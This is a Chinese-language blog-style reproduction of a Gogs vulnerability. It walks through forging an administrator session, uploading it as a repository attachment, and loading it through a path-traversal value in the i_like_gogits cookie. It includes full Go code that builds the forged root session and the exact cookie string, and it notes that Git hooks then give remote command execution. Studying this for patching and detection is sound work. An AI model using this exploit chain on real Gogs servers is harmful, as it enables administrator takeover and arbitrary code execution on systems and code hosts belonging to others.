gogs
gogs与GitHub、GitLib相似,它使用go语言开发,由于语言特性,Gogs能够跨平台部署,且对资源要求低
Git与GitHub、GitLib、Gogs的区别
思路
- 生成伪造的管理员session信息
- 通过向仓库中上传文件的方式将伪造的session文件上传至服务端
- 找到文件目录,通过cookie中的i_like_gogits字段指定该文件
- 成功伪造管理员登陆!
在登陆成功之后可以在Git(hook)钩子处写入shell脚本或命令来达到任意RCE
漏洞复现
docker部署完成后访问:3000,安装数据库
创建仓库
在网上翻的一些教程都是不存在版本发布页面(刚开始不懂后来发现我也是)
应该存在版本发布的页面会是这样
session的文件
package main
import (
"bytes"
"encoding/gob"
"encoding/hex"
"fmt"
"io/ioutil"
"os"
)
func EncodeGob(obj map[interface{
}]interface{
}) ([]byte, error) {
for _, v := range obj {
gob.Register(v)
}
buf := bytes.NewBuffer(nil)
err := gob.NewEncoder(buf).Encode(obj)
return buf.Bytes(), err
}
func main() {
var uid int64 = 1
obj := map[interface{
}]interface{
}{
"_old_uid": "1", "uid": uid, "uname": "root"}
data, err := EncodeGob(obj)
if err != nil {
fmt.Println(err)
}
err = ioutil.WriteFile("data", data, os.O_CREATE|os.O_WRONLY)
if err != nil {
fmt.Println(err)
}
edata := hex.EncodeToString(data)
fmt.Println(edata)
}
这里抓包上传以后,通过附件的url得到这个文件的文件名,就像这样
./attachments/2eb7f1a2-b5ec-482e-a297-15b625d24a10
最后构造Cookie:i_like_gogits=../attachments/2/e/2eb7f1a2-b5ec-482e-a297-15b625d24a10
,发包即可发现已经成功登录root